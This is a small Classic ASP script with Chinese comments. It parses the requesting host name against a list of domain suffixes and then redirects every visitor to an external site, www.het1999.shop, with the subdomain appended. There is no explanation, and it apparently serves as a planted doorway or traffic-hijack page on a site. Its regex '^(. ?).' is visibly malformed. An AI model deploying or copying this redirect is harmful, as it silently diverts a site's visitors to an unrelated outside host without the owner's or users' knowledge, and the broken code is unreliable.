<%

Function getdomain(byval dom) '返回空则表示域名不复合域名根要求 

 dim i,ext,exts 

 exts ="store,pw,xin,xyz,vip,club,pub,wang,site,top,mom,cc,net,game,ren,tech,online,work,win,bid,lol,red,website,space,link,news,date,loan,mobi,live,studio,help,info,biz,click,pics,photo,trade,science,party,rocks,band,gift,wifi,design,software,social,lawyer,engineer,org,com.cn,net.cn,gov.cn,name,tv,me,asia,co,press,video,market,org.cn,hk.cn,com,cn,hk,com-,com--" ' 复根在前,单根在后 

 ext = split(exts,",") 

 for i = 0 to ubound(ext) 

  if lcase(ext(i)) = right(lcase(dom),len(ext(i))) then 

   dim dom_ext,dom_pre 

   dom_ext = lcase(ext(i)) 

   dom_pre = split(left(dom,len(dom)-len(dom_ext)-1),".") 

   getdomain = dom_pre(ubound(dom_pre)) & "." & dom_ext 

   exit function 

  end if 

 next 

 getdomain = "" 

End Function

Function regx(patrn, str)

 Dim regEx, Match, Matches

 Set regEx = New RegExp

 regEx.Pattern = patrn

 regEx.IgnoreCase = True

 regEx.Global = True

 Set Matches = regEx.Execute(str)

 For Each Match in Matches

 RetStr = Match.submatches(0)

 Next

 regx = RetStr

set Matches=nothing 

set regEx=nothing 

End Function

 dim a_siteurl,b_siteurl

 a_siteurl=Request.ServerVariables("SERVER_NAME")

 b_siteurl=getdomain(Request.ServerVariables("SERVER_NAME"))

 getdz=regx("^(. ?).",a_siteurl)

Response.Redirect("http://www.het1999.shop/"&getdz)

%>